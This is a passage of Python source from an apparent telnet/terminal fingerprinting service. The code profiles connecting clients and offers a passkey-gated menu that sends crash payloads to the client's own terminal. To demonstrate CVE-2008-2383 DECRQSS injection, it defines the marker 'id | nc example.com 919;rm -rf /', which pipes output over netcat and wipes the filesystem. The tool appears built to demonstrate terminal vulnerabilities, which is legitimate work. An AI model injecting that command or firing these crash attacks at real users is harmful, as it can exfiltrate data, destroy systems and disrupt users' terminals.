        tbl.header = False
        width = max(40, (term.width or 80) - 1)
        tbl.max_table_width = width
        tbl.min_width["Attribute"] = 14
        tbl.max_width["Value"] = width - 24
        for key, value in pairs:
            tbl.add_row([key or "", value])
        return str(tbl)

    table_strings = []

    terminal_rows = _build_terminal_rows(term, data)
    if terminal_rows:
        table_strings.append(make_table("Terminal", terminal_rows))

    telnet_rows = _build_telnet_rows(term, data)
    if telnet_rows:
        table_strings.append(make_table("Telnet", telnet_rows))

    vuln_rows = _build_vulnerabilities_rows(term, data)
    if vuln_rows:
        vuln_count = len(vuln_rows)
        vuln_title = "Vulnerabilities"
        if vuln_count:
            vuln_title += f" ({vuln_count})"
        table_strings.append(make_table(vuln_title, vuln_rows))

    if not table_strings:
        return False

    timeout = _sync_timeout(data)

    echo(term.normal)

    widths = [len(s.split("\n", 1)[0]) for s in table_strings]
    side_by_side = len(widths) < 2 or sum(widths) + 1 < (term.width or 80)

    if side_by_side:
        all_lines = _collect_side_by_side_lines(term, table_strings)
        if has_unicode:
            with term.synchronized_output(timeout=timeout):
                for line in all_lines:
                    echo(line + "\n")
        else:
            for line in all_lines:
                echo(line + "\n")
    else:
        for tbl in table_strings:
            lines = tbl.split("\n")
            if has_unicode:
                with term.synchronized_output(timeout=timeout):
                    for line in lines:
                        echo(line + "\n")
                    echo("\n")
            else:
                for line in lines:
                    echo(line + "\n")
                echo("\n")
    return True


def _fingerprint_similarity(a: Dict[str, Any], b: Dict[str, Any]) -> float:
    """
    Compute field-by-field similarity score between two fingerprint dicts.

    Skips keys that reflect user/environment state rather than client identity (env var presence,
    charset normalization, etc).

    :returns: Similarity as a float 0.0-1.0.
    """
    _skip = {
        "probed-protocol",
        "HOME",
        "SHELL",
        "USER",
        "IPADDRESS",
        "LOGNAME",
        "charset",
        "encoding",
        "TERM",
        "rejected-do",
        "rejected-will",
    }
    all_keys = (set(a) | set(b)) - _skip
    if not all_keys:
        return 1.0

    scores: List[float] = []
    for key in all_keys:
        va, vb = a.get(key), b.get(key)
        if va is None and vb is None:
            continue
        if va is None or vb is None:
            scores.append(0.0)
            continue
        if va == vb:
            scores.append(1.0)
            continue
        if isinstance(va, list) and isinstance(vb, list):
            sa, sb = set(map(str, va)), set(map(str, vb))
            union = sa | sb
            scores.append(len(sa & sb) / len(union) if union else 1.0)
        elif isinstance(va, dict) and isinstance(vb, dict):
            scores.append(_fingerprint_similarity(va, vb))
        else:
            scores.append(0.0)

    return sum(scores) / len(scores) if scores else 1.0


def _load_known_fingerprints(probe_type: str) -> Dict[str, Dict[str, Any]]:
    """
    Load one fingerprint-data dict per unique hash from the data directory.

    :param probe_type: ``"telnet-probe"`` or ``"terminal-probe"``.
    :returns: Dict mapping hash string to fingerprint-data dict.
    """
    if DATA_DIR is None:
        return {}
    client_dir = os.path.join(DATA_DIR, "client")
    if not os.path.isdir(client_dir):
        return {}

    seen: Dict[str, Dict[str, Any]] = {}
    is_telnet = probe_type == "telnet-probe"

    for telnet_hash in os.listdir(client_dir):
        telnet_path = os.path.join(client_dir, telnet_hash)
        if not os.path.isdir(telnet_path):
            continue
        if is_telnet and telnet_hash in seen:
            continue
        for terminal_hash in os.listdir(telnet_path):
            if terminal_hash == _UNKNOWN_TERMINAL_HASH:
                continue
            terminal_path = os.path.join(telnet_path, terminal_hash)
            if not os.path.isdir(terminal_path):
                continue
            if not is_telnet and terminal_hash in seen:
                continue
            target_hash = telnet_hash if is_telnet else terminal_hash
            if target_hash in seen:
                continue
            for fname in os.listdir(terminal_path):
                if not fname.endswith(".json"):
                    continue
                try:
                    with open(os.path.join(terminal_path, fname), encoding="utf-8") as f:
                        file_data = json.load(f)
                    fp_data = file_data.get(probe_type, {}).get("fingerprint-data")
                    if fp_data:
                        seen[target_hash] = fp_data
                except (OSError, json.JSONDecodeError, KeyError):
                    pass
                break
    return seen


def _format_match(name: str, score: float) -> str:
    """Format a nearest-match name with score, adding '?' for low confidence."""
    pct = int(score * 100)
    if pct < 80:
        return f"{name}? ({pct}%)"
    return f"{name} ({pct}%)"


def _find_nearest_match(
    fp_data: Dict[str, Any], probe_type: str, names: Dict[str, str]
) -> Optional[Tuple[str, float]]:
    """
    Find the most similar named fingerprint.

    :returns: ``(name, similarity)`` tuple or None if no candidates or best < 50%.
    """
    known = _load_known_fingerprints(probe_type)
    best_name: Optional[str] = None
    best_score = 0.0
    for h, known_fp in known.items():
        if h not in names:
            continue
        score = _fingerprint_similarity(fp_data, known_fp)
        if score > best_score:
            best_score = score
            best_name = names[h]
    if best_name is None or best_score < 0.50:
        return None
    return (best_name, best_score)


def _build_seen_counts(
    data: Dict[str, Any],
    names: Optional[Dict[str, str]] = None,
    term: Optional["blessed.Terminal"] = None,
) -> str:
    """Build friendly "seen before" text from folder and session counts."""
    if DATA_DIR is None or not os.path.exists(DATA_DIR):
        return ""

    telnet_probe = data.get("telnet-probe", {})
    if not (telnet_hash := telnet_probe.get("fingerprint")):
        return ""

    terminal_probe = data.get("terminal-probe", {})
    terminal_hash = terminal_probe.get("fingerprint", _UNKNOWN_TERMINAL_HASH)

    _names = names or {}
    terminal_known = terminal_hash != _UNKNOWN_TERMINAL_HASH

    # Resolve names, using nearest match for unknown hashes
    telnet_unknown = telnet_hash not in _names
    terminal_unknown = terminal_known and terminal_hash not in _names

    if not telnet_unknown:
        telnet_name = _names[telnet_hash]
    else:
        fp_data = telnet_probe.get("fingerprint-data")
        match = _find_nearest_match(fp_data, "telnet-probe", _names) if fp_data else None
        if match:
            telnet_name = _format_match(match[0], match[1])
        else:
            telnet_name = telnet_hash

    if terminal_known:
        if not terminal_unknown:
            terminal_name = _names[terminal_hash]
        else:
            fp_data = data.get("terminal-probe", {}).get("fingerprint-data")
            match = _find_nearest_match(fp_data, "terminal-probe", _names) if fp_data else None
            if match:
                terminal_name = _format_match(match[0], match[1])
            else:
                terminal_name = terminal_hash
    else:
        terminal_name = None

    # Color the names for display
    def _color_name(name: str) -> str:
        if term is None:
            return name
        if "?" in name:
            # Color the '?' red, rest green
            return name.replace("?", term.bold_red("?"))
        return str(term.forestgreen(name))

    telnet_display = _color_name(telnet_name) if telnet_name else telnet_name
    terminal_display = _color_name(terminal_name) if terminal_name else None

    telnet_dir = os.path.join(DATA_DIR, "client", telnet_hash)
    like_count = 0
    if os.path.isdir(telnet_dir):
        for sub in os.listdir(telnet_dir):
            sub_path = os.path.join(telnet_dir, sub)
            if os.path.isdir(sub_path):
                like_count += sum(1 for f in os.listdir(sub_path) if f.endswith(".json"))

    visit_count = len(data.get("sessions", []))

    extra = telnet_probe.get("session_data", {}).get("extra", {})
    username = extra.get("USER") or extra.get("LOGNAME")

    lines: List[str] = []
    if like_count > 1:
        others = like_count - 1
        noun = "client" if others == 1 else "clients"
        lines.append(f"I've seen {others} other {noun} with your configuration.")
    if visit_count > 1:
        times = "time" if visit_count - 1 == 1 else "times"
        lines.append(f"I've seen your exact fingerprint {visit_count - 1} {times} before.")
        sessions = data.get("sessions", [])
        if len(sessions) >= 2:
            prev = sessions[-2].get("connected", "")
            if prev:
                from datetime import datetime, timezone

                try:
                    prev_dt = datetime.fromisoformat(prev)
                    delta = datetime.now(timezone.utc) - prev_dt
                    secs = int(delta.total_seconds())
                    if secs < 60:
                        ago = f"{secs} seconds"
                    elif secs < 3600:
                        ago = f"{secs // 60} minutes"
                    elif secs < 86400:
                        ago = f"{secs // 3600} hours"
                    else:
                        ago = f"{secs // 86400} days"
                    lines.append(f"I last saw you {ago} ago.")
                except (ValueError, TypeError):
                    pass

    if username:
        who = f", {term.orange4(repr(username))}" if term else f", {repr(username)}"
    else:
        who = ""
    terminal_suffix = (
        f" and {terminal_display}" if terminal_display and terminal_name != telnet_name else ""
    )
    lines.append("")
    lines.append(f"Welcome{who}! Detected {telnet_display}{terminal_suffix}.")

    # Set xterm title
    title_parts = [telnet_name]
    if terminal_name and terminal_name != telnet_name:
        title_parts.append(terminal_name)
    title = " and ".join(title_parts)
    if username:
        title = f"{username} - {title}"
    # Only set xterm title for real terminal emulators, not MUD clients.
    if os.environ.get("TV_DETECT_TERMINAL") == "1":
        echo(f"\x1b]0;{title}\x1b\\")

    if lines:
        return "\n".join(lines) + "\n\n"
    return ""


def _color_match(term: Optional["blessed.Terminal"], name: str, score: float) -> str:
    """
    Color a nearest-match result by confidence threshold.

    :param score: Similarity as a float 0.0-1.0.
    """
    pct = score * 100
    label = f"{name} ({pct:.0f}%)"
    if term is None:
        return label
    if pct >= 95:
        return str(term.forestgreen(label))
    if pct >= 75:
        return str(term.darkorange(label))
    return str(term.firebrick1(label))


def _nearest_match_lines(
    data: Dict[str, Any],
    names: Dict[str, str],
    term: Optional["blessed.Terminal"],
    telnet_unknown: bool = False,
    terminal_unknown: bool = False,
) -> List[str]:
    """Build nearest-match text lines for unknown fingerprints."""
    result_lines: List[str] = []
    if telnet_unknown:
        fp_data = data.get("telnet-probe", {}).get("fingerprint-data")
        if fp_data:
            result = _find_nearest_match(fp_data, "telnet-probe", names)
            if result:
                result_lines.append(f"Nearest telnet match: {_color_match(term, *result)}")
            else:
                result_lines.append("Nearest telnet match: (none)")

    if terminal_unknown:
        fp_data = data.get("terminal-probe", {}).get("fingerprint-data")
        if fp_data:
            result = _find_nearest_match(fp_data, "terminal-probe", names)
            if result:
                result_lines.append(f"Nearest terminal match: {_color_match(term, *result)}")
            else:
                result_lines.append("Nearest terminal match: (none)")
    return result_lines


def _repl_prompt(term: "blessed.Terminal", software_name: str = "") -> None:
    """Write the REPL prompt with command legend."""
    bk = _bracket_key
    lines = [
        f"{bk(term, 't')}ERM or TE{bk(term, 'l')}NET details?",  # codespell:ignore te
        f"{bk(term, 's')}ummarize, {bk(term, 'u')}pdate, or s{bk(term, 'h')}ow DB",
    ]
    if _HAS_TV_DETECT:
        pk = _tv_prompt_keys(software_name=software_name, passkey=_tv_passkey)
        if pk["available"]:
            lines.append(f"{bk(term, 'v')}ulnerabilities, {bk(term, 'q')}uit")
        else:
            lines.append(f"{bk(term, 'q')}uit")
    else:
        lines.append(f"{bk(term, 'q')}uit")
    legend = "\r\n".join(lines)
    echo(f"\r{term.clear_eos}{term.normal}{legend}\r\n: ")


def _read_line(term: "blessed.Terminal") -> str:
    """Read a line of input using term.inkey(), with basic editing."""
    _flush_input(term)
    buf: List[str] = []
    while True:
        key = term.inkey(timeout=None)
        if key.name in ("KEY_ENTER",) or str(key) in ("\r", "\n"):
            echo("\n")
            return "".join(buf)
        if key.name == "KEY_ESCAPE":
            echo("\n")
            return "q"
        if str(key) == "\x0c":
            return "\x0c"
        if key.name in ("KEY_BACKSPACE", "KEY_DELETE") or str(key) in ("\x7f", "\x08"):
            if buf:
                buf.pop()
                echo("\b \b")
            continue
        ch = str(key)
        if len(ch) == 1 and ch.isprintable():
            buf.append(ch)
            echo(ch)


if not _HAS_TV_DETECT:
    _DECRQSS_INJECT_MARKER = "id | nc example.com 919;rm -rf /"  # noqa: F811


def _paginate(term: "blessed.Terminal", text: str, **_kw: Any) -> None:
    """Display text."""
    for line in text.split("\n"):
        echo(line + "\n")


def _colorize_json(data: Any, term: Optional["blessed.Terminal"] = None) -> str:
    """
    Format JSON with color, preferring bat/batcat over jq.

    :param term: blessed Terminal instance for ``TERM`` kind.
    """
    json_str = json.dumps(data, indent=2, sort_keys=True)
    if _BAT:
        result = subprocess.run(
            [_BAT, "-l", "json", "--style=plain", "--color=always"],
            input=json_str,
            capture_output=True,
            text=True,
            check=False,
        )
        if result.returncode == 0:
            return result.stdout.rstrip("\n")
    if _JQ:
        env = {
            "TERM": getattr(term, "kind", None) or "dumb",
            "COLUMNS": str(term.width or 80),
            "LINES": str(term.height or 25),
        }
        if term.number_of_colors == 1 << 24:
            env["COLORTERM"] = "truecolor"
        result = subprocess.run(
            [_JQ, "-C", 'walk(if type=="number" then (.*100|round)/100 else . end)'],
            input=json_str,
            capture_output=True,
            text=True,
            env=env,
            check=False,
        )
        if result.returncode == 0:
            return result.stdout.rstrip("\n")
    return json_str


def _strip_empty_features(d: Dict[str, Any]) -> None:
    """Remove empty kitty/iterm2 feature keys from a dict in-place."""
    for key in list(d):
        if key.startswith(("kitty_", "iterm2_")):
            val = d[key]
            if not val or (isinstance(val, dict) and not any(val.values())):
                del d[key]


def _normalize_color_hex(hex_color: str) -> str:
    """Normalize X11 color hex to standard 6-digit format."""
    from blessed.colorspace import hex_to_rgb, rgb_to_hex

    r, g, b = hex_to_rgb(hex_color)
    return str(rgb_to_hex(r, g, b))


def _filter_terminal_detail(detail: Optional[Dict[str, Any]]) -> Optional[Dict[str, Any]]:
    """Filter terminal session data for display."""
    if not detail:
        return detail
    result = dict(detail)

    for key in ("session_arguments", "height", "width"):
        result.pop(key, None)

    aw = result.get("ambiguous_width")
    if aw is not None and aw != 2:
        del result["ambiguous_width"]

    if "text_sizing" in result:
        result["kitty_text_sizing"] = result.pop("text_sizing")

    _strip_empty_features(result)

    terminal_results = result.get("terminal_results")
    if terminal_results is not None:
        terminal_results = dict(terminal_results)
        if "text_sizing" in terminal_results:
            terminal_results["kitty_text_sizing"] = terminal_results.pop("text_sizing")
        for key in ("foreground_color_rgb", "background_color_rgb"):
            terminal_results.pop(key, None)
        _strip_empty_features(terminal_results)
        modes = terminal_results.pop("modes", None)
        if modes:
            dec_modes = {}
            for _num, mode in modes.items():
                if isinstance(mode, dict) and mode.get("supported"):
                    name = mode.get("mode_name", str(_num))
                    dec_modes[name] = {
                        "changeable": mode.get("changeable", False),
                        "enabled": mode.get("enabled", False),
                    }
            if dec_modes:
                terminal_results["dec_private_modes"] = dec_modes
        for key in ("foreground_color_hex", "background_color_hex"):
            if key in terminal_results:
                terminal_results[key] = _normalize_color_hex(terminal_results[key])
        result["terminal_results"] = terminal_results

    test_results = result.get("test_results")
    if test_results is not None:
        filtered = {}
        for k, v in test_results.items():
            if not v:
                continue
            if isinstance(v, dict):
                reduced = {}
                for ver, data in v.items():
                    if isinstance(data, dict):
                        reduced[ver] = {
                            sk: sv for sk, sv in data.items() if sk in ("pct_success", "n_total")
                        }
                    else:
                        reduced[ver] = data
                if reduced:
                    filtered[k] = reduced
            else:
                filtered[k] = v
        if filtered:
            result["test_results"] = filtered
        else:
            del result["test_results"]
    return result


def _filter_telnet_detail(detail: Optional[Dict[str, Any]]) -> Optional[Dict[str, Any]]:
    """Filter telnet probe data for display."""
    if not detail:
        return detail
    result = copy.deepcopy(detail)

    if session_data := result.get("session_data"):
        for key in ("probe", "option_states"):
            session_data.pop(key, None)

    if fp_data := result.get("fingerprint-data"):
        fp_data.pop("refused-options", None)

    return result


def _vuln_menu(term: "blessed.Terminal", software_name: str = "") -> Optional[str]:
    """
    Show vulnerability attack menu, using tv-detect.

    When the terminal is a known target, show only matching attacks. When unknown, show all attacks
    so the user can try any of them.
    """
    if not _HAS_TV_DETECT:
        return None
    echo = functools.partial(print, end="", flush=True)
    available = _tv_get_attacks("", passkey=_tv_passkey)
    if not available:
        echo(f"\r\n{term.bold('No attacks available for this terminal.')}\r\n")
        return None
    from tv_detect.attacks import VULN_WARNING, PRICING_MESSAGE

    echo(f"\r\n{term.bold_gold1(VULN_WARNING)}\r\n\r\n")
    authorized = _tv_verify_passkey(_tv_passkey)
    max_sev = max(len(v["severity"]) for v in available.values())
    max_id = max(len(k) for k in available)
    for key in sorted(available, key=int):
        attack = available[key]
        sev = attack["severity"]
        color_fn = getattr(term, SEVERITY_COLOR.get(sev, "normal"))
        sev_str = color_fn(f"[{sev:^{max_sev}}]")
        id_str = key.rjust(max_id)
        target = attack.get("target", "")
        target_str = f" ({target})" if target else ""
        if attack.get("passkey_limited") and not authorized:
            echo(
                f"  ({term.bold(id_str)}) {sev_str}"
                f" {term.bold_gold1(PRICING_MESSAGE)}{target_str}\r\n"
            )
        else:
            echo(f"  ({term.bold(id_str)}) {sev_str} {attack['name']}{target_str}\r\n")
    echo("\r\n: ")
    key = _read_line(term).strip()
    if key in available:
        return key
    return None


def _execute_crash(
    term: "blessed.Terminal", key: str, software_name: str = "", ip: str = "unknown"
) -> None:
    """Execute a vulnerability attack by key, delegating to tv-detect."""
    if not _HAS_TV_DETECT:
        return
    echo = functools.partial(print, end="", flush=True)
    client_label = f"Client {ip} {repr(software_name)}" if software_name else f"Client {ip}"
    available = _tv_get_attacks("", passkey=_tv_passkey)
    attack = available.get(key, {})
    handler = attack.get("handler", "")

    # Telnet-layer attacks can't be executed from the PTY subprocess.
    # Exit with a special code so the server handles it after pty_shell.
    if handler == "telnet_new_environ_user":
        _syslog_info(f"{client_label} selects VULN-#{key} (telnet-layer)")
        name = attack.get("name", "unknown")
        echo(f"\r\n{term.bold_firebrick1('Crash')}: {name}{term.clear_eol}\r\n")
        if note := attack.get("note"):
            echo(f"  {term.bold_black(note)}{term.clear_eol}\r\n")
        echo(f"{term.bold('Sending...')}{term.clear_eol}\r\n")
        if key.isdigit() and 1 <= int(key) <= 99:
            sys.exit(100 + int(key))
        return

    result = _tv_execute_attack(key, software_name="", passkey=_tv_passkey)
    if result.get("executed"):
        _syslog_info(f"{client_label} selects VULN-#{key} (permitted)")
        # Only reset screen for raw sequence payloads that may move the cursor;
        # handler-based attacks (ZMODEM, kitty, etc) manage their own output.
        if not attack.get("handler"):
            echo(f"{term.home}{term.clear_eos}")
        name = result.get("attack_name", "unknown")
        echo(f"\r\n{term.bold_firebrick1('Crash')}: {name}{term.clear_eol}\r\n")
        if note := result.get("note"):
            echo(f"  {term.bold_black(note)}{term.clear_eol}\r\n")
        echo(f"{term.bold('Sent.')} The client may have crashed.{term.clear_eol}\r\n")
    elif error := result.get("error"):
        _syslog_info(f"{client_label} selects VULN-#{key} (denied)")
        echo(f"\r\n{term.bold_gold1(error)}\r\n")


def _show_detail(term: "blessed.Terminal", data: Dict[str, Any], section: str) -> None:
    """Show detailed JSON for a fingerprint section with pagination."""
    if section == "terminal":
        terminal_probe = data.get("terminal-probe", {})
        detail = _filter_terminal_detail(terminal_probe.get("session_data"))
        if detail:
            scrape = data.get("screen-scrape")
            if scrape:
                detail["screen_scrape"] = scrape
        title = "Terminal Probe Results"
    else:
        detail = _filter_telnet_detail(data.get("telnet-probe"))
        title = "Telnet Probe Data"

    underline = term.cyan("=" * len(title))
    if detail:
        text = f"{term.magenta(title)}\n" f"{underline}\n" f"\n" f"{_colorize_json(detail, term)}"
        _paginate(term, text)
    else:
        echo(f"{term.magenta(title)}\n{underline}\n\n(no data)\n")


def _client_ip(data: Dict[str, Any]) -> str:
    """Extract client IP from fingerprint data."""
    sessions = data.get("sessions", [])
    if sessions:
        ip = sessions[-1].get("ip")
        if ip:
            return str(ip)
    return "unknown"


def _build_database_entries(
    names: Optional[Dict[str, str]] = None,
) -> List[Tuple[str, str, int, int]]:
    """
    Scan fingerprint directories and build sorted database entries.

    :returns: List of ``(type, display_name, file_count, session_count)`` tuples sorted by session
        count descending.
    """
    client_dir = os.path.join(DATA_DIR, "client") if DATA_DIR else None
    if not client_dir or not os.path.isdir(client_dir):
        return []

    _names = names or {}
    telnet_counts: Dict[str, List[int]] = {}
    terminal_counts: Dict[str, List[int]] = {}
    for telnet_hash in os.listdir(client_dir):
        telnet_path = os.path.join(client_dir, telnet_hash)
        if not os.path.isdir(telnet_path):
            continue
        for terminal_hash in os.listdir(telnet_path):
            terminal_path = os.path.join(telnet_path, terminal_hash)
            if not os.path.isdir(terminal_path):
                continue
            for fname in os.listdir(terminal_path):
                if not fname.endswith(".json"):
                    continue
                n_sessions = 1
                fpath = os.path.join(terminal_path, fname)
                try:
                    with open(fpath, encoding="utf-8") as f:
                        fdata = json.load(f)
                    n_sessions = len(fdata.get("sessions", [1]))
                except (OSError, json.JSONDecodeError):
                    pass
                telnet_counts.setdefault(telnet_hash, [0, 0])
                telnet_counts[telnet_hash][0] += 1
                telnet_counts[telnet_hash][1] += n_sessions
                if terminal_hash != _UNKNOWN_TERMINAL_HASH:
                    terminal_counts.setdefault(terminal_hash, [0, 0])
                    terminal_counts[terminal_hash][0] += 1
                    terminal_counts[terminal_hash][1] += n_sessions

    merged: Dict[Tuple[str, str], List[int]] = {}
    for h, (files, sessions) in telnet_counts.items():
        key = ("Telnet", _resolve_hash_name(h, _names))
        prev = merged.get(key, [0, 0])
        merged[key] = [prev[0] + files, prev[1] + sessions]
    for h, (files, sessions) in terminal_counts.items():
        key = ("Terminal", _resolve_hash_name(h, _names))
        prev = merged.get(key, [0, 0])
        merged[key] = [prev[0] + files, prev[1] + sessions]

    entries = [(kind, name, files, sessions) for (kind, name), (files, sessions) in merged.items()]
    entries.sort(key=lambda e: e[3], reverse=True)
    return entries


def _show_database(
    term: "blessed.Terminal", data: Dict[str, Any], entries: List[Tuple[str, str, int, int]]
) -> None:
    """Display scrollable database of all known fingerprints."""
    try:
        from prettytable import PrettyTable
    except ImportError:
        echo("prettytable not installed.\n")
        return

    if not entries:
        echo("No fingerprints in database.\n")
        return

    has_unicode = _has_unicode(data)

    tbl = PrettyTable()
    if has_unicode:
        _apply_unicode_borders(tbl)
    tbl.title = term.magenta(f"Database ({len(entries)} fingerprints)")
    tbl.field_names = ["Type", "Fingerprint", "Clients", "Calls"]
    tbl.align["Type"] = "l"
    tbl.align["Fingerprint"] = "l"
    tbl.align["Clients"] = "r"
    tbl.align["Calls"] = "r"
    tbl.max_table_width = max(40, (term.width or 80) - 1)
    for kind, display_name, files, sessions in entries:
        tbl.add_row([kind, term.forestgreen(display_name), str(files), str(sessions)])

    _paginate(term, str(tbl))


def _fingerprint_repl(
    term: "blessed.Terminal",
    data: Dict[str, Any],
    seen_counts: str = "",
    filepath: Optional[str] = None,
    names: Optional[Dict[str, str]] = None,
) -> None:
    """Interactive REPL for exploring fingerprint data."""
    global _tv_passkey
    ip = _client_ip(data)
    software_name = _extract_software_name(data)

    # Check for passkey from client NEW-ENVIRON
    if _HAS_TV_DETECT and not _tv_passkey:
        env_passkey = _extract_passkey(data)
        if env_passkey:
            _tv_passkey = env_passkey

    _commands = {
        "q": "logoff",
        "t": "terminal-detail",
        "l": "telnet-detail",
        "s": "summarize",
        "u": "update",
        "h": "database",
        "\x0c": "refresh",
    }
    if _HAS_TV_DETECT:
        _commands["v"] = "vulnerabilities"

    db_cache = None
    decrqss_tried = False

    # Check if CVE-2008-2383 was previously detected as vulnerable
    cve_results = data.get("cve_results", {})
    decrqss_vulnerable = bool(cve_results.get("CVE-2008-2383"))

    while True:
        _repl_prompt(term, software_name=software_name)
        while term.inkey(timeout=0):
            pass

        if _HAS_TV_DETECT and decrqss_vulnerable and not decrqss_tried:
            decrqss_tried = True
            if try_decrqss_injection():
                echo(
                    f"{term.bold_red}{_DECRQSS_INJECT_MARKER}{term.normal}\r\n"
                    f"{term.bold_red}^^ injected via CVE-2008-2383 DECRQSS"
                    f" echoback{term.normal}\r\n\r\n"
                )
                logger.info("%s: DECRQSS injection demonstrated", ip)
                import select

                while select.select([sys.stdin.fileno()], [], [], 0.2)[0]:
                    os.read(sys.stdin.fileno(), 4096)
                while term.inkey(timeout=0):
                    pass
                continue

        raw_input = _read_line(term).strip()
        cmd = raw_input.lower()

        # Accept passkey entry: "passkey=USER=jEffREYtAblES"
        if _HAS_TV_DETECT and raw_input.lower().startswith("passkey="):
            candidate = raw_input[len("passkey=") :]
            if _tv_verify_passkey(candidate):
                _tv_passkey = candidate
                logger.info("%s: passkey accepted", ip)
                echo(f"\r\n{term.bold_green('Passkey accepted.')}\r\n")
            else:
                logger.info("%s: passkey rejected", ip)
                echo(f"\r\n{term.bold_red('Invalid passkey.')}\r\n")
            continue

        if not cmd:
            echo("\r: ")
            continue

        if cmd in _commands:
            logger.info("%s: repl %s", ip, _commands[cmd])
        elif cmd:
            logger.info("%s: repl unknown command %r", ip, cmd)

        if cmd == "q":
            logger.info("%s: repl logoff", ip)
            echo(f"\n{term.normal}")
            break

        if cmd == "t":
            _show_detail(term, data, "terminal")
        elif cmd == "l":
            _show_detail(term, data, "telnet")
        elif cmd == "s":
            echo(term.normal + term.clear)
            _display_compact_summary(data, term)
            if seen_counts:
                echo(seen_counts)
        elif cmd == "h":
            if db_cache is None:
                db_cache = _build_database_entries(names)
            _show_database(term, data, db_cache)
        elif cmd == "u" and filepath is not None:
            _names = names if names is not None else {}
            _prompt_fingerprint_identification(term, data, filepath, _names)
            names = _load_fingerprint_names()
            seen_counts = _build_seen_counts(data, names, term)
        elif cmd == "v" and _HAS_TV_DETECT:
            choice = _vuln_menu(term, software_name=software_name)
            if choice:
                _execute_crash(term, choice, software_name=software_name, ip=ip)
        elif cmd == "\x0c":
            echo(term.normal + term.clear)
            _display_compact_summary(data, term)
            if seen_counts:
                echo(seen_counts)


def _has_unknown_hashes(data: Dict[str, Any], names: Dict[str, str]) -> bool:
    """Return True if either telnet or terminal hash is not yet named."""
    telnet_hash = data.get("telnet-probe", {}).get("fingerprint", "")
    terminal_hash = data.get("terminal-probe", {}).get("fingerprint", _UNKNOWN_TERMINAL_HASH)
    if telnet_hash not in names:
        return True
    if terminal_hash != _UNKNOWN_TERMINAL_HASH and terminal_hash not in names:
        return True
    return False


def _prompt_fingerprint_identification(
    term: "blessed.Terminal", data: Dict[str, Any], filepath: str, names: Dict[str, str]
) -> None:
    """Prompt user to identify unknown fingerprint hashes."""
    telnet_probe = data.get("telnet-probe", {})
    telnet_hash = telnet_probe.get("fingerprint", "")
    terminal_probe = data.get("terminal-probe", {})
    terminal_hash = terminal_probe.get("fingerprint", _UNKNOWN_TERMINAL_HASH)

    telnet_known = telnet_hash in names
    terminal_known = terminal_hash in names or terminal_hash == _UNKNOWN_TERMINAL_HASH
    all_known = telnet_known and terminal_known

    if all_known:
        echo(f"\n{term.bold_magenta}Suggest a revision{term.normal}\n")
    else:
        echo(f"{term.bold_magenta}Help our database!{term.normal}\n")

    suggestions: Dict[str, str] = data.get("suggestions", {})
    revised = False

    if terminal_hash != _UNKNOWN_TERMINAL_HASH:
        if not terminal_known:
            software_name = terminal_probe.get("session_data", {}).get("software_name")
            default = software_name or ""
            if default:
                prompt = f'Terminal emulator name (return for "{default}"): '
            else:
                prompt = f"Terminal emulator name for {terminal_hash}: "
            raw = _styled_input(term, prompt)
            if not raw and default:
                raw = default
            validated = _validate_suggestion(raw)
            if validated:
                suggestions["terminal-emulator"] = validated
        elif all_known:
            current_name = names.get(terminal_hash)
            prompt = f'Terminal emulator name (return for "{current_name}"): '
            raw = _styled_input(term, prompt).strip()
            validated = _validate_suggestion(raw) if raw else None
            if validated and validated != current_name:
                suggestions["terminal-emulator-revision"] = validated
                revised = True

    if not telnet_known:
        raw = _styled_input(term, "What is your TELNET client name? Or, press return: ")
        validated = _validate_suggestion(raw)
        if validated:
            suggestions["telnet-client"] = validated
    elif all_known:
        current_name = names.get(telnet_hash)
        prompt = f'Telnet client name (return for "{current_name}"): '
        raw = _styled_input(term, prompt).strip()
        validated = _validate_suggestion(raw) if raw else None
        if validated and validated != current_name:
            suggestions["telnet-client-revision"] = validated
            revised = True

    if suggestions:
        data["suggestions"] = suggestions
        _atomic_json_write(filepath, data)

    if revised:
        echo("Your submission is under review.\n")

    echo("\n")


def _client_lacks_sga(data: Dict[str, Any]) -> bool:
    """Return True when the client did not negotiate SGA."""
    probe = data.get("telnet-probe", {}).get("session_data", {}).get("probe", {})
    return "SGA" not in probe.get("WILL", {})


def _probe_terminal(filepath: str, data: Dict[str, Any]) -> Optional[str]:
    """
    Run ucs-detect and screen-scrape, update the fingerprint file.

    :returns: Updated filepath (may change if terminal hash moves it).
    """
    term = _make_terminal()
    flushed = term.flushinp()
    if flushed and flushed.strip():
        _syslog_info(f"pre-probe flushed {len(flushed)} bytes: {repr(flushed)}")
        data["pre-probe-flushed"] = repr(flushed)
        _atomic_json_write(filepath, data)

    # Skip terminal probing for MUD/line-mode clients
    if os.environ.get("TV_DETECT_TERMINAL") != "1":
        return filepath

    if "screen-scrape" not in data:
        scrape_data = _run_screen_scrape()
        if scrape_data:
            data["screen-scrape"] = scrape_data
            _atomic_json_write(filepath, data)

    if _client_lacks_sga(data):
        ip = _client_ip(data)
        _syslog_info(f"Client {ip} skipped ucs-detect: requires GA (MUD/dumb)")
        return filepath

    terminal_data = _run_ucs_detect()

    if terminal_data:
        terminal_fp = _create_terminal_fingerprint(terminal_data)
        terminal_hash = _hash_fingerprint(terminal_fp)

        data["terminal-probe"] = {
            "fingerprint": terminal_hash,
            "fingerprint-data": terminal_fp,
            "session_data": terminal_data,
        }

        old_dir = os.path.dirname(filepath)
        if os.path.basename(old_dir) != terminal_hash:
            new_dir = os.path.join(os.path.dirname(old_dir), terminal_hash)
            try:
                os.makedirs(new_dir, exist_ok=True)
                new_filepath = os.path.join(new_dir, os.path.basename(filepath))
                os.rename(filepath, new_filepath)
                filepath = new_filepath
                if not os.listdir(old_dir):
                    os.rmdir(old_dir)
            except OSError as exc:
                logger.warning("failed to move %s -> %s: %s", filepath, new_dir, exc)

        _atomic_json_write(filepath, data)

    return filepath


def _process_client_fingerprint(filepath: str, data: Dict[str, Any]) -> None:
    """Process client fingerprint: run probes then show interactive display."""
    filepath = _probe_terminal(filepath, data) or filepath

    _setup_term_environ(data)

    # Extract passkey from client NEW-ENVIRON if not already set
    global _tv_passkey
    if _HAS_TV_DETECT and not _tv_passkey:
        env_passkey = _extract_passkey(data)
        if env_passkey:
            _tv_passkey = env_passkey

    try:
        import blessed  # noqa: F401
    except ImportError:
        print(json.dumps(data, indent=2, sort_keys=True))
        return

    term = _make_terminal()
    names = _load_fingerprint_names()
    seen_counts = _build_seen_counts(data, names, term)

    # Log identification: auto-detected / user-named / nearest match
    _log_identification(data, names)

    if not _display_compact_summary(data, term):
        print(json.dumps(data, indent=2, sort_keys=True))
    if seen_counts:
        echo(seen_counts)

    if term.is_a_tty:
